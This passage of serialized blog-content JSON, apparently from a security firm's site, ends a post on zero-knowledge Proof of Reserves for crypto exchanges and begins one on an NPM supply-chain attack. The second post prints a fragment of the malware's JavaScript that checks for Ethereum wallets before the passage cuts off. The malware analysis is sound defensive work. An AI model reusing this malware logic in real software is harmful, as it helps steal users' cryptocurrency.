4,"children":97626},{"className":97625,"style":94337},[5669,22832],[97627],{"type":29,"value":94340},{"type":24,"tag":158,"props":97629,"children":97631},{"className":97630},[5669,22832],[97632],{"type":29,"value":52726},{"type":24,"tag":158,"props":97634,"children":97636},{"className":97635,"style":94325},[5669],[97637],{"type":29,"value":4750},{"type":24,"tag":158,"props":97639,"children":97641},{"className":97640},[5669,22832],[97642],{"type":29,"value":22974},{"type":24,"tag":158,"props":97644,"children":97646},{"className":97645},[5669,22832],[97647],{"type":29,"value":95782},{"type":24,"tag":158,"props":97649,"children":97651},{"className":97650,"style":94325},[5669],[97652],{"type":29,"value":4750},{"type":24,"tag":158,"props":97654,"children":97656},{"className":97655},[5669,22832],[97657],{"type":29,"value":95793},{"type":24,"tag":158,"props":97659,"children":97661},{"className":97660},[5669,22832],[97662],{"type":29,"value":1472},{"type":24,"tag":158,"props":97664,"children":97666},{"className":97665},[5669,22832],[97667],{"type":29,"value":85623},{"type":24,"tag":158,"props":97669,"children":97671},{"className":97670,"style":5848},[5750],[],{"type":24,"tag":158,"props":97673,"children":97675},{"className":97674},[5853],[97676],{"type":29,"value":1034},{"type":24,"tag":158,"props":97678,"children":97680},{"className":97679,"style":5848},[5750],[],{"type":24,"tag":158,"props":97682,"children":97684},{"className":97683},[5658],[97685,97689,97694,97699,97704,97709,97714,97719,97724,97729,97734,97791,97796,97800,97805,97810,97867,97872,97876,97881,97886,97890,97895,97900,97962],{"type":24,"tag":158,"props":97686,"children":97688},{"className":97687,"style":5771},[5663],[],{"type":24,"tag":158,"props":97690,"children":97692},{"className":97691,"style":22833},[5669,22832],[97693],{"type":29,"value":22836},{"type":24,"tag":158,"props":97695,"children":97697},{"className":97696},[5669,22832],[97698],{"type":29,"value":94279},{"type":24,"tag":158,"props":97700,"children":97702},{"className":97701},[5669,22832],[97703],{"type":29,"value":1832},{"type":24,"tag":158,"props":97705,"children":97707},{"className":97706},[5669,22832],[97708],{"type":29,"value":71840},{"type":24,"tag":158,"props":97710,"children":97712},{"className":97711},[5669,22832],[97713],{"type":29,"value":94295},{"type":24,"tag":158,"props":97715,"children":97717},{"className":97716},[5669,22832],[97718],{"type":29,"value":57676},{"type":24,"tag":158,"props":97720,"children":97722},{"className":97721},[22961],[97723],{"type":29,"value":504},{"type":24,"tag":158,"props":97725,"children":97727},{"className":97726},[5669,22832],[97728],{"type":29,"value":95793},{"type":24,"tag":158,"props":97730,"children":97732},{"className":97731},[5669,22832],[97733],{"type":29,"value":1472},{"type":24,"tag":158,"props":97735,"children":97737},{"className":97736},[5669],[97738,97743],{"type":24,"tag":158,"props":97739,"children":97741},{"className":97740},[5669,22832],[97742],{"type":29,"value":85623},{"type":24,"tag":158,"props":97744,"children":97746},{"className":97745},[5686],[97747],{"type":24,"tag":158,"props":97748,"children":97750},{"className":97749},[5691,22886],[97751,97780],{"type":24,"tag":158,"props":97752,"children":97754},{"className":97753},[5696],[97755,97775],{"type":24,"tag":158,"props":97756,"children":97758},{"className":97757,"style":94377},[5701],[97759],{"type":24,"tag":158,"props":97760,"children":97761},{"style":94381},[97762,97766],{"type":24,"tag":158,"props":97763,"children":97765},{"className":97764,"style":5711},[5710],[],{"type":24,"tag":158,"props":97767,"children":97769},{"className":97768},[5716,5717,5718,5719],[97770],{"type":24,"tag":158,"props":97771,"children":97773},{"className":97772},[5669,5719],[97774],{"type":29,"value":5682},{"type":24,"tag":158,"props":97776,"children":97778},{"className":97777},[22989],[97779],{"type":29,"value":22992},{"type":24,"tag":158,"props":97781,"children":97783},{"className":97782},[5696],[97784],{"type":24,"tag":158,"props":97785,"children":97787},{"className":97786,"style":94408},[5701],[97788],{"type":24,"tag":158,"props":97789,"children":97790},{},[],{"type":24,"tag":158,"props":97792,"children":97794},{"className":97793},[5782],[97795],{"type":29,"value":5785},{"type":24,"tag":158,"props":97797,"children":97799},{"className":97798,"style":5789},[5750],[],{"type":24,"tag":158,"props":97801,"children":97803},{"className":97802},[5669,22832],[97804],{"type":29,"value":95793},{"type":24,"tag":158,"props":97806,"children":97808},{"className":97807},[5669,22832],[97809],{"type":29,"value":1472},{"type":24,"tag":158,"props":97811,"children":97813},{"className":97812},[5669],[97814,97819],{"type":24,"tag":158,"props":97815,"children":97817},{"className":97816},[5669,22832],[97818],{"type":29,"value":85623},{"type":24,"tag":158,"props":97820,"children":97822},{"className":97821},[5686],[97823],{"type":24,"tag":158,"props":97824,"children":97826},{"className":97825},[5691,22886],[97827,97856],{"type":24,"tag":158,"props":97828,"children":97830},{"className":97829},[5696],[97831,97851],{"type":24,"tag":158,"props":97832,"children":97834},{"className":97833,"style":94377},[5701],[97835],{"type":24,"tag":158,"props":97836,"children":97837},{"style":94381},[97838,97842],{"type":24,"tag":158,"props":97839,"children":97841},{"className":97840,"style":5711},[5710],[],{"type":24,"tag":158,"props":97843,"children":97845},{"className":97844},[5716,5717,5718,5719],[97846],{"type":24,"tag":158,"props":97847,"children":97849},{"className":97848},[5669,5719],[97850],{"type":29,"value":5672},{"type":24,"tag":158,"props":97852,"children":97854},{"className":97853},[22989],[97855],{"type":29,"value":22992},{"type":24,"tag":158,"props":97857,"children":97859},{"className":97858},[5696],[97860],{"type":24,"tag":158,"props":97861,"children":97863},{"className":97862,"style":94408},[5701],[97864],{"type":24,"tag":158,"props":97865,"children":97866},{},[],{"type":24,"tag":158,"props":97868,"children":97870},{"className":97869},[5782],[97871],{"type":29,"value":5785},{"type":24,"tag":158,"props":97873,"children":97875},{"className":97874,"style":5789},[5750],[],{"type":24,"tag":158,"props":97877,"children":97879},{"className":97878},[5669],[97880],{"type":29,"value":377},{"type":24,"tag":158,"props":97882,"children":97884},{"className":97883},[5782],[97885],{"type":29,"value":5785},{"type":24,"tag":158,"props":97887,"children":97889},{"className":97888,"style":5789},[5750],[],{"type":24,"tag":158,"props":97891,"children":97893},{"className":97892},[5669,22832],[97894],{"type":29,"value":95793},{"type":24,"tag":158,"props":97896,"children":97898},{"className":97897},[5669,22832],[97899],{"type":29,"value":1472},{"type":24,"tag":158,"props":97901,"children":97903},{"className":97902},[5669],[97904,97909],{"type":24,"tag":158,"props":97905,"children":97907},{"className":97906},[5669,22832],[97908],{"type":29,"value":85623},{"type":24,"tag":158,"props":97910,"children":97912},{"className":97911},[5686],[97913],{"type":24,"tag":158,"props":97914,"children":97916},{"className":97915},[5691,22886],[97917,97951],{"type":24,"tag":158,"props":97918,"children":97920},{"className":97919},[5696],[97921,97946],{"type":24,"tag":158,"props":97922,"children":97924},{"className":97923,"style":94377},[5701],[97925],{"type":24,"tag":158,"props":97926,"children":97927},{"style":94381},[97928,97932],{"type":24,"tag":158,"props":97929,"children":97931},{"className":97930,"style":5711},[5710],[],{"type":24,"tag":158,"props":97933,"children":97935},{"className":97934},[5716,5717,5718,5719],[97936],{"type":24,"tag":158,"props":97937,"children":97939},{"className":97938},[5669,5719],[97940],{"type":24,"tag":158,"props":97941,"children":97943},{"className":97942},[5669,5719],[97944],{"type":29,"value":97945},"31",{"type":24,"tag":158,"props":97947,"children":97949},{"className":97948},[22989],[97950],{"type":29,"value":22992},{"type":24,"tag":158,"props":97952,"children":97954},{"className":97953},[5696],[97955],{"type":24,"tag":158,"props":97956,"children":97958},{"className":97957,"style":94408},[5701],[97959],{"type":24,"tag":158,"props":97960,"children":97961},{},[],{"type":24,"tag":158,"props":97963,"children":97965},{"className":97964},[22983],[97966],{"type":29,"value":521},{"type":29,"value":8106},{"type":24,"tag":897,"props":97969,"children":97970},{},[97971],{"type":29,"value":96113},{"type":24,"tag":1790,"props":97973,"children":97974},{},[97975,97980,97981],{"type":24,"tag":32,"props":97976,"children":97977},{},[97978],{"type":29,"value":97979},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":29,"value":8106},{"type":24,"tag":897,"props":97982,"children":97983},{},[97984],{"type":29,"value":96397},{"type":24,"tag":25,"props":97986,"children":97987},{},[97988],{"type":29,"value":97989},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":24,"tag":25,"props":97991,"children":97992},{},[97993],{"type":24,"tag":84,"props":97994,"children":97996},{"alt":51850,"src":97995},"/posts/por/recursive-circuit.png",[],{"type":24,"tag":59,"props":97998,"children":98000},{"id":97999},"global-proof-and-inclusion-proofs",[98001],{"type":29,"value":98002},"Global Proof and Inclusion Proofs",{"type":24,"tag":395,"props":98004,"children":98005},{"id":36},[98006],{"type":29,"value":98007},"Proving",{"type":24,"tag":25,"props":98009,"children":98010},{},[98011,98013,98019,98020,98026,98027,98033],{"type":29,"value":98012},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":24,"tag":154,"props":98014,"children":98016},{"className":98015},[],[98017],{"type":29,"value":98018},"merkle_tree.json",{"type":29,"value":191},{"type":24,"tag":154,"props":98021,"children":98023},{"className":98022},[],[98024],{"type":29,"value":98025},"final_proof.json",{"type":29,"value":8136},{"type":24,"tag":154,"props":98028,"children":98030},{"className":98029},[],[98031],{"type":29,"value":98032},"private_nonces.json",{"type":29,"value":98034}," files.",{"type":24,"tag":25,"props":98036,"children":98037},{},[98038],{"type":29,"value":98039},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":24,"tag":25,"props":98041,"children":98042},{},[98043,98045,98051,98053,98058],{"type":29,"value":98044},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":24,"tag":154,"props":98046,"children":98048},{"className":98047},[],[98049],{"type":29,"value":98050},"inclusion_proof_\u003Cid>.json",{"type":29,"value":98052},"). ",{"type":24,"tag":32,"props":98054,"children":98055},{},[98056],{"type":29,"value":98057},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":29,"value":347},{"type":24,"tag":395,"props":98060,"children":98062},{"id":98061},"verifying",[98063],{"type":29,"value":98064},"Verifying",{"type":24,"tag":25,"props":98066,"children":98067},{},[98068],{"type":24,"tag":897,"props":98069,"children":98070},{},[98071],{"type":29,"value":98072},"Global Proof",{"type":24,"tag":25,"props":98074,"children":98075},{},[98076,98078,98083,98084,98089],{"type":29,"value":98077},"To verify the global proof, the code deserializes the ",{"type":24,"tag":154,"props":98079,"children":98081},{"className":98080},[],[98082],{"type":29,"value":98018},{"type":29,"value":38814},{"type":24,"tag":154,"props":98085,"children":98087},{"className":98086},[],[98088],{"type":29,"value":98025},{"type":29,"value":98090}," files and performs these checks:",{"type":24,"tag":1786,"props":98092,"children":98093},{},[98094,98099,98104,98109,98135],{"type":24,"tag":1790,"props":98095,"children":98096},{},[98097],{"type":29,"value":98098},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":24,"tag":1790,"props":98100,"children":98101},{},[98102],{"type":29,"value":98103},"Verify the ZK final proof.",{"type":24,"tag":1790,"props":98105,"children":98106},{},[98107],{"type":29,"value":98108},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":24,"tag":1790,"props":98110,"children":98111},{},[98112,98114,98120,98122,98127,98128,98133],{"type":29,"value":98113},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":24,"tag":154,"props":98115,"children":98117},{"className":98116},[],[98118],{"type":29,"value":98119},"merkle_tree_hash",{"type":29,"value":98121}," public input. This ensures that the ",{"type":24,"tag":154,"props":98123,"children":98125},{"className":98124},[],[98126],{"type":29,"value":98018},{"type":29,"value":1826},{"type":24,"tag":154,"props":98129,"children":98131},{"className":98130},[],[98132],{"type":29,"value":98025},{"type":29,"value":98134}," are linked (they belong to the same global proof).",{"type":24,"tag":1790,"props":98136,"children":98137},{},[98138],{"type":29,"value":98139},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":24,"tag":25,"props":98141,"children":98142},{},[98143],{"type":24,"tag":897,"props":98144,"children":98145},{},[98146],{"type":29,"value":98147},"Inclusion Proof",{"type":24,"tag":25,"props":98149,"children":98150},{},[98151,98153,98158,98160,98165],{"type":29,"value":98152},"To verify the inclusion proof, the code deserializes the ",{"type":24,"tag":154,"props":98154,"children":98156},{"className":98155},[],[98157],{"type":29,"value":98050},{"type":29,"value":98159}," file and also the ",{"type":24,"tag":154,"props":98161,"children":98163},{"className":98162},[],[98164],{"type":29,"value":98025},{"type":29,"value":98166},". After that, it performs these checks:",{"type":24,"tag":1786,"props":98168,"children":98169},{},[98170,98174,98179,98184],{"type":24,"tag":1790,"props":98171,"children":98172},{},[98173],{"type":29,"value":98103},{"type":24,"tag":1790,"props":98175,"children":98176},{},[98177],{"type":29,"value":98178},"Verify if the Merkle tree root is the same as in the final proof.",{"type":24,"tag":1790,"props":98180,"children":98181},{},[98182],{"type":29,"value":98183},"Recalculate the user-related node leaf hash.",{"type":24,"tag":1790,"props":98185,"children":98186},{},[98187],{"type":29,"value":98188},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":24,"tag":59,"props":98190,"children":98192},{"id":98191},"por-verifier-server",[98193],{"type":29,"value":98194},"PoR Verifier Server",{"type":24,"tag":25,"props":98196,"children":98197},{},[98198,98200,98206],{"type":29,"value":98199},"To automate the verification process, we created a ",{"type":24,"tag":101,"props":98201,"children":98203},{"href":93836,"rel":98202},[105],[98204],{"type":29,"value":98205},"verifier server",{"type":29,"value":98207}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":24,"tag":25,"props":98209,"children":98210},{},[98211],{"type":29,"value":98212},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":24,"tag":25,"props":98214,"children":98215},{},[98216],{"type":24,"tag":84,"props":98217,"children":98219},{"alt":51850,"src":98218},"/posts/por/backpack-por.png",[],{"type":24,"tag":25,"props":98221,"children":98222},{},[98223],{"type":29,"value":98224},"Here is a breakdown of what fields represent and why they are required:",{"type":24,"tag":17924,"props":98226,"children":98227},{},[98228,98238,98248,98258,98268,98278],{"type":24,"tag":1790,"props":98229,"children":98230},{},[98231,98236],{"type":24,"tag":897,"props":98232,"children":98233},{},[98234],{"type":29,"value":98235},"Status",{"type":29,"value":98237}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":24,"tag":1790,"props":98239,"children":98240},{},[98241,98246],{"type":24,"tag":897,"props":98242,"children":98243},{},[98244],{"type":29,"value":98245},"Proof Timestamp",{"type":29,"value":98247}," --> when the proof was generated by the exchange.",{"type":24,"tag":1790,"props":98249,"children":98250},{},[98251,98256],{"type":24,"tag":897,"props":98252,"children":98253},{},[98254],{"type":29,"value":98255},"Verify Timestamp",{"type":29,"value":98257}," --> when the proof was verified by the PoR server.",{"type":24,"tag":1790,"props":98259,"children":98260},{},[98261,98266],{"type":24,"tag":897,"props":98262,"children":98263},{},[98264],{"type":29,"value":98265},"Proof File URL",{"type":29,"value":98267}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":24,"tag":1790,"props":98269,"children":98270},{},[98271,98276],{"type":24,"tag":897,"props":98272,"children":98273},{},[98274],{"type":29,"value":98275},"Prover Version",{"type":29,"value":98277}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":24,"tag":1790,"props":98279,"children":98280},{},[98281,98286],{"type":24,"tag":897,"props":98282,"children":98283},{},[98284],{"type":29,"value":98285},"File Hash (SHA256)",{"type":29,"value":98287}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":24,"tag":25,"props":98289,"children":98290},{},[98291],{"type":29,"value":98292},"Also, you can check the exchange's liabilities on the website:",{"type":24,"tag":25,"props":98294,"children":98295},{},[98296],{"type":24,"tag":84,"props":98297,"children":98299},{"alt":51850,"src":98298},"/posts/por/backpack-por-liabilities.png",[],{"type":24,"tag":25,"props":98301,"children":98302},{},[98303,98305,98311,98313,98319],{"type":29,"value":98304},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":24,"tag":101,"props":98306,"children":98309},{"href":98307,"rel":98308},"https://backpack.exchange/reserves",[105],[98310],{"type":29,"value":98307},{"type":29,"value":98312}," and our verifier server for backpack at ",{"type":24,"tag":101,"props":98314,"children":98317},{"href":98315,"rel":98316},"https://backpack-por.osec.io/",[105],[98318],{"type":29,"value":98315},{"type":29,"value":347},{"type":24,"tag":59,"props":98321,"children":98323},{"id":98322},"self-verification",[98324],{"type":29,"value":98325},"Self-verification",{"type":24,"tag":25,"props":98327,"children":98328},{},[98329],{"type":29,"value":98330},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":24,"tag":395,"props":98332,"children":98334},{"id":98333},"how-to-verify-if-i-was-included",[98335],{"type":29,"value":98336},"How to verify if I was included?",{"type":24,"tag":25,"props":98338,"children":98339},{},[98340],{"type":29,"value":98341},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":24,"tag":1786,"props":98343,"children":98344},{},[98345,98356,98374],{"type":24,"tag":1790,"props":98346,"children":98347},{},[98348,98355],{"type":24,"tag":101,"props":98349,"children":98352},{"href":98350,"rel":98351},"https://github.com/otter-sec/por_v2/releases",[105],[98353],{"type":29,"value":98354},"Download the PoRv2 executable from our github",{"type":29,"value":347},{"type":24,"tag":1790,"props":98357,"children":98358},{},[98359,98361,98366,98367,98372],{"type":29,"value":98360},"Download the inclusion and the final proof files from the exchange (",{"type":24,"tag":154,"props":98362,"children":98364},{"className":98363},[],[98365],{"type":29,"value":98050},{"type":29,"value":1826},{"type":24,"tag":154,"props":98368,"children":98370},{"className":98369},[],[98371],{"type":29,"value":98025},{"type":29,"value":98373},") and put the files in the same directory as the PoRv2 app.",{"type":24,"tag":1790,"props":98375,"children":98376},{},[98377,98379,98385],{"type":29,"value":98378},"Open the terminal and execute this: ",{"type":24,"tag":154,"props":98380,"children":98382},{"className":98381},[],[98383],{"type":29,"value":98384},"./plonky2_por verify-inclusion",{"type":29,"value":347},{"type":24,"tag":25,"props":98387,"children":98388},{},[98389],{"type":29,"value":98390},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":24,"tag":147,"props":98392,"children":98394},{"code":98393},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[98395],{"type":24,"tag":154,"props":98396,"children":98397},{"__ignoreMap":7},[98398],{"type":29,"value":98393},{"type":24,"tag":395,"props":98400,"children":98402},{"id":98401},"how-can-i-verify-the-global-proof",[98403],{"type":29,"value":98404},"How can I verify the global proof?",{"type":24,"tag":25,"props":98406,"children":98407},{},[98408],{"type":29,"value":98409},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":24,"tag":1786,"props":98411,"children":98412},{},[98413,98422,98440],{"type":24,"tag":1790,"props":98414,"children":98415},{},[98416,98421],{"type":24,"tag":101,"props":98417,"children":98419},{"href":98350,"rel":98418},[105],[98420],{"type":29,"value":98354},{"type":29,"value":347},{"type":24,"tag":1790,"props":98423,"children":98424},{},[98425,98427,98432,98433,98438],{"type":29,"value":98426},"Download the ",{"type":24,"tag":154,"props":98428,"children":98430},{"className":98429},[],[98431],{"type":29,"value":98018},{"type":29,"value":38814},{"type":24,"tag":154,"props":98434,"children":98436},{"className":98435},[],[98437],{"type":29,"value":98025},{"type":29,"value":98439}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":24,"tag":1790,"props":98441,"children":98442},{},[98443,98445,98450],{"type":29,"value":98444},"Open the terminal and execute ",{"type":24,"tag":154,"props":98446,"children":98448},{"className":98447},[],[98449],{"type":29,"value":98384},{"type":29,"value":98451},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":24,"tag":25,"props":98453,"children":98454},{},[98455],{"type":29,"value":98456},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":24,"tag":147,"props":98458,"children":98460},{"code":98459},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[98461],{"type":24,"tag":154,"props":98462,"children":98463},{"__ignoreMap":7},[98464],{"type":29,"value":98459},{"type":24,"tag":25,"props":98466,"children":98467},{},[98468],{"type":29,"value":98469},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":24,"tag":147,"props":98471,"children":98473},{"code":98472},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[98474],{"type":24,"tag":154,"props":98475,"children":98476},{"__ignoreMap":7},[98477],{"type":29,"value":98472},{"type":24,"tag":59,"props":98479,"children":98480},{"id":30191},[98481],{"type":29,"value":20189},{"type":24,"tag":25,"props":98483,"children":98484},{},[98485],{"type":29,"value":98486},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":24,"tag":25,"props":98488,"children":98489},{},[98490,98492,98498],{"type":29,"value":98491},"We are currently working with Backpack to implement this algorithm ",{"type":24,"tag":101,"props":98493,"children":98495},{"href":98307,"rel":98494},[105],[98496],{"type":29,"value":98497},"in production",{"type":29,"value":98499}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":24,"tag":25,"props":98501,"children":98502},{},[98503,98505,98512],{"type":29,"value":98504},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":24,"tag":101,"props":98506,"children":98509},{"href":98507,"rel":98508},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[105],[98510],{"type":29,"value":98511},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":29,"value":347},{"title":7,"searchDepth":213,"depth":213,"links":98514},[98515,98516,98517,98518,98521,98526,98530,98531,98535],{"id":93764,"depth":213,"text":93767},{"id":93845,"depth":213,"text":93848},{"id":93915,"depth":213,"text":93918},{"id":93969,"depth":213,"text":93972,"children":98519},[98520],{"id":94048,"depth":238,"text":94051},{"id":94136,"depth":213,"text":94139,"children":98522},[98523,98524,98525],{"id":94209,"depth":238,"text":94212},{"id":94681,"depth":238,"text":94684},{"id":96420,"depth":238,"text":96423},{"id":97999,"depth":213,"text":98002,"children":98527},[98528,98529],{"id":36,"depth":238,"text":98007},{"id":98061,"depth":238,"text":98064},{"id":98191,"depth":213,"text":98194},{"id":98322,"depth":213,"text":98325,"children":98532},[98533,98534],{"id":98333,"depth":238,"text":98336},{"id":98401,"depth":238,"text":98404},{"id":30191,"depth":213,"text":20189},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":98540,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":98541,"description":98542,"date":98543,"author":32461,"image":98544,"isFeatured":16,"onBlogPage":16,"tags":98547,"body":98550,"_type":4536,"_id":100976,"_source":4538,"_file":100977,"_stem":100978,"_extension":4541},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":98545,"width":98546,"height":14857},"/posts/supply-chain-attcks/title.png",1536,[98548,98549],"npm","supply-chain",{"type":21,"children":98551,"toc":100959},[98552,98565,98570,98575,98581,98586,98594,98924,98932,99495,99503,100210,100216,100221,100227,100232,100237,100243,100248,100260,100265,100291,100378,100390,100415,100431,100436,100441,100647,100689,100694,100706,100712,100724,100766,100779,100859,100871,100884,100891,100902,100910,100916,100929,100934,100938,100943,100955],{"type":24,"tag":25,"props":98553,"children":98554},{},[98555,98557,98563],{"type":29,"value":98556},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":24,"tag":154,"props":98558,"children":98560},{"className":98559},[],[98561],{"type":29,"value":98562},"chalk",{"type":29,"value":98564},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":24,"tag":25,"props":98566,"children":98567},{},[98568],{"type":29,"value":98569},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":24,"tag":25,"props":98571,"children":98572},{},[98573],{"type":29,"value":98574},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":24,"tag":59,"props":98576,"children":98578},{"id":98577},"qix-malware-how-it-worked",[98579],{"type":29,"value":98580},"Qix Malware: How It Worked",{"type":24,"tag":25,"props":98582,"children":98583},{},[98584],{"type":29,"value":98585},"The attacker published modified versions of packages with code designed to do three things:",{"type":24,"tag":1786,"props":98587,"children":98588},{},[98589],{"type":24,"tag":1790,"props":98590,"children":98591},{},[98592],{"type":29,"value":98593},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":24,"tag":147,"props":98595,"children":98597},{"code":98596,"language":32626,"meta":7,"className":32624,"style":7},"async function checkethereumw() {\n try {\n const _0x124ed3 = await window.ethereum.request({\n 'method': \"eth_accounts\"\n });\n if (_0x124ed3.length > 0) {\n runmask();\n if (rund != 1) {\n rund = 1;\n neth = 1;\n newdlocal();\n }\n } else if (rund != 1) {\n rund = 1;\n newdlocal();\n }\n }\n}\n",[98598],{"type":24,"tag":154,"props":98599,"children":98600},{"__ignoreMap":7},[98601,98621,98633,98677,98694,98701,98737,98749,98777,98797,98817,98829,98836,98871,98891,98903,98910,98917],{"type":24,"tag":158,"props":98602,"children":98603},{"class":160,"line":161},[98604,98608,98612,98617],{"type":24,"tag":158,"props":98605,"children":98606},{"style":165},[98607],{"type":29,"value":37409},{"type":24,"tag":158,"props":98609,"children":98610},{"style":165},[98611],{"type":29,"value":39478},{"type":24,"tag":158,"props":98613,"children":98614},{"style":496},[98615],{"type":29,"value":98616}," checkethereumw",{"type":24,"tag":158,"props":98618,"children":98619},{"style":188},[98620],{"type":29,"value":16972},{"type":24,"tag":158,"props":98622,"children":98623},{"class":160,"line":213},[98624,98629],{"type":24,"tag":158,"props":98625,"children":98626},{"style":1914},[98627],{"type":29,"value":98628}," try",{"type":24,"tag":158,"props":98630,"children":98631},{"style":188},[98632],{"type":29,"value":210},{"type":24,"tag":158,"props":98634,"children":98635},{"class":160,"line":238},[98636,98640,98645,98649,98653,98657,98661,98665,98669,98673],{"type":24,"tag":158,"props":98637,"children":98638},{"style":165},[98639],{"type":29,"value":52940},{"type":24,"tag":158,"props":98641,"children":98642},{"style":177},[98643],{"type":29,"value":98644}," 